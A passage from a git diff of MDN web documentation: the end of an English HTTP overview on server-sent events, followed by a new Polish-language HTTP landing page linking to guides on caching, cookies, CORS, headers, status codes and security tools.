Another API, server-sent events, is a one-way service that allows a server to send events to the client, using HTTP as a transport mechanism. Using the {{domxref("EventSource")}} interface, the client opens a connection and establishes event handlers. The client browser automatically converts the messages that arrive on the HTTP stream into appropriate {{domxref("Event")}} objects, delivering them to the event handlers that have been registered for the events' {{domxref("Event.type", "type")}} if known, or to the {{domxref("EventSource.onmessage", "onmessage")}} event handler if no type-specific event handler was established.

+ +

Conclusion

+ +

HTTP is an extensible protocol that is easy to use. The client-server structure, combined with the ability to simply add headers, allows HTTP to advance along with the extended capabilities of the Web.

+ +

Though HTTP/2 adds some complexity, by embedding HTTP messages in frames to improve performance, the basic structure of messages has stayed the same since HTTP/1.0. Session flow remains simple, allowing it to be investigated, and debugged with a simple HTTP message monitor.

diff --git a/files/pl/web/http/index.html b/files/pl/web/http/index.html new file mode 100644 index 0000000000..ae21c93fa1 --- /dev/null +++ b/files/pl/web/http/index.html @@ -0,0 +1,89 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - HTTP + - Hipertekst + - Reference + - Referencja + - TCP/IP + - TopicStub + - Web + - 'l10n:priority' +translation_of: Web/HTTP +--- +
{{HTTPSidebar}}
+ +

Protokół Przesyłania Danych Hipertekstowych (Hypertext Transfer Protocol, HTTP) to protokół warstwy aplikacji, odpowiedzialny za transmisję dokumentów hipermedialnych, jak np. HTML. Został stworzony do komunikacji pomiędzy przeglądarkami, a serwerami webowymi, ale może być używany również w innych celach. HTTP opiera się na klasycznym modelu klient-serwer, gdzie klient inicjuje połączenie poprzez wysłanie żądania, następnie czeka na odpowiedź. HTTP jest protokołem bezstanowym, co oznacza, że serwer nie przechowuje żadnych danych (stanów) pomiędzy oboma żądaniami. Mimo, że często opiera się na warstwie TCP/IP, może być używany także na godnej zaufania warstwie transportowej, tj. protokół, który nie traci po cichu komunikatów, jak ma to miejsce w przypadku UDP. RUDP, wiarygodna aktualizacja UDP, może stanowić odpowiednią alternatywę.

+ +
+
+

Samouczki

+ +

Poprzez samouczki i instrukcje ucz się, jak używać HTTP.

+ +
+
HTTP - wiadomości ogólne
+
Podstawowe cechy protokołu klient-serwer: co robi i do czego w założeniu służy.
+
Cache HTTP
+
Buforowanie (caching) jest bardzo ważne z punktu widzenia szybkości działania stron WWW. Ten artykuł opisuje różne metody buforowania i jak używać nagłówków HTTP, by ten proces kontrolować.
+
Ciasteczka HTTP
+
Jak działają ciasteczka (cookies) jest określone w RFC 6265. Podczas obsługi żądania HTTP, serwer może wysłać nagłówek HTTP Set-Cookie z odpowiedzią. Następnie klient zwraca wartość ciasteczka z każdym żądaniem do tego samego serwera w formie nagłówka żądania Cookie. Ciasteczko może być również ustawione na wygasające wraz z nadejściem ustalonej daty lub ograniczone do konkretnej domeny i ścieżki.
+
Cross-Origin Resource Sharing (CORS)
+
Żądania HTTP między stronami (cross-site) to żądania HTTP z zasobów pochodzących z innej domeny, niż domena zasobu zgłaszającego żądanie. Przykładowo strona HTML z Domeny A (http://domaina.example/) żąda otrzymania obrazka z Domeny B (http://domainb.foo/image.jpg) poprzez element img. Współcześnie strony WWW powszechnie ładują zasoby między stronami, m. in. arkusze stylów CSS, obrazki, skrypty i inne zasoby. CORS pozwala twórcom stron na kontrolowanie jak ich strona WWW zachowuje się w obliczu żądań typu cross-site.
+
+ +
+
Rozwój HTTP
+
Zwięzły opis zmian pomiędzy wczesnymi wersjami HTTP, a współczesnym HTTP/2.
+
Wskazówki dot. bezpieczeństwa WWW od Mozilli
+
Zbiór wskazówek mających na celu pomoc zespołom operacyjnym w tworzeniu bezpiecznych aplikacji WWW.
+
+ +
+
Komunikaty HTTP
+
Opisuje typy i struktury różnych rodzajów komunikatów HTTP/1.x oraz HTTP/2.
+
Typowa sesja HTTP
+
Pokazuje i wyjaśnia przebieg typowej sesji HTTP.
+
Zarządzanie połączeniami w HTTP/1.x
+
Opisuje trzy modele zarządzania połączeniami, które są dostępne w HTTP/1.x, ich mocne i słabe strony.
+
+
+ +
+

Referencje

+ +

Przeszukaj szczegółową dokumentację referencyjną HTTP.

+ +
+
Nagłówki HTTP
+
Nagłówki wiadomości HTTP są używane do opisu lub zachowania serweru lub klienta. Customowe, własne nagłówki mogą być dodawane przy zastosowaniu prefiksu X-; pozostałe w rejestrze IANA, których oryginalna treść została zdefiniowana w RFC 4229. IANA również utrzymuje rejestr zaproponowanych, nowych nagłówków wiadomości HTTP.
+
Metody żądań HTTP
+
Różne operacje, które mogą zostać wykonane z HTTP: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, i również mniej znane żądania, jak {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}} czy {{HTTPMethod("TRACE")}}.
+
Kody Odpowiedzi Statusu HTTP
+
Kody odpowiedzi HTTP wskazują, czy określone żądanie HTTP zakończyło się powodzeniem. Odpowiedzi są grupowane w pięciu klasach: odpowiedzi informacyjne, odpowiedzi powodzenia, przekierowania, błędy po stronie klienta i błędy po stronie serwera.
+
+ +
+
Dyrektywy CSP
+
Nagłówki odpowiedzi {{HTTPHeader("Content-Security-Policy")}} pozwalają administratorom stron WWW kontrolować jakie zasoby agent użytkownika może ładować na podanej stronie. Poza paroma wyjątkami, wytyczne przeważnie zawierają specyfikację originów serwera i zakończenia skryptów.
+
+ +

Narzędzia i zasoby

+ +

Pomocne narzędzia i zasoby dla lepszego zrozumienia i debugowania HTTP.

+ +
+
Firefox Developer Tools
+
Monitor sieci
+
Mozilla Observatory
+
+

Projekt stworzony po to, by pomagać deweloperom, administratorom systemów i specjalistom ds. bezpieczeństwa w bezpiecznej i solidnej konfiguracji ich stron.

+
+
RedBot
+
Narzędzia do sprawdzania Twoich nagłówków związanych z cache'ami.
+
Jak działają przeglądarki
+
Bardzo kompleksowy artykuł dot. wnętrza przeglądarek i przepływu żądań poprzez zastosowanie protokołu HTTP. Każdy tworca stron MUSI to przeczytać.
+
+
+
-- cgit v1.2.3-54-g00ecf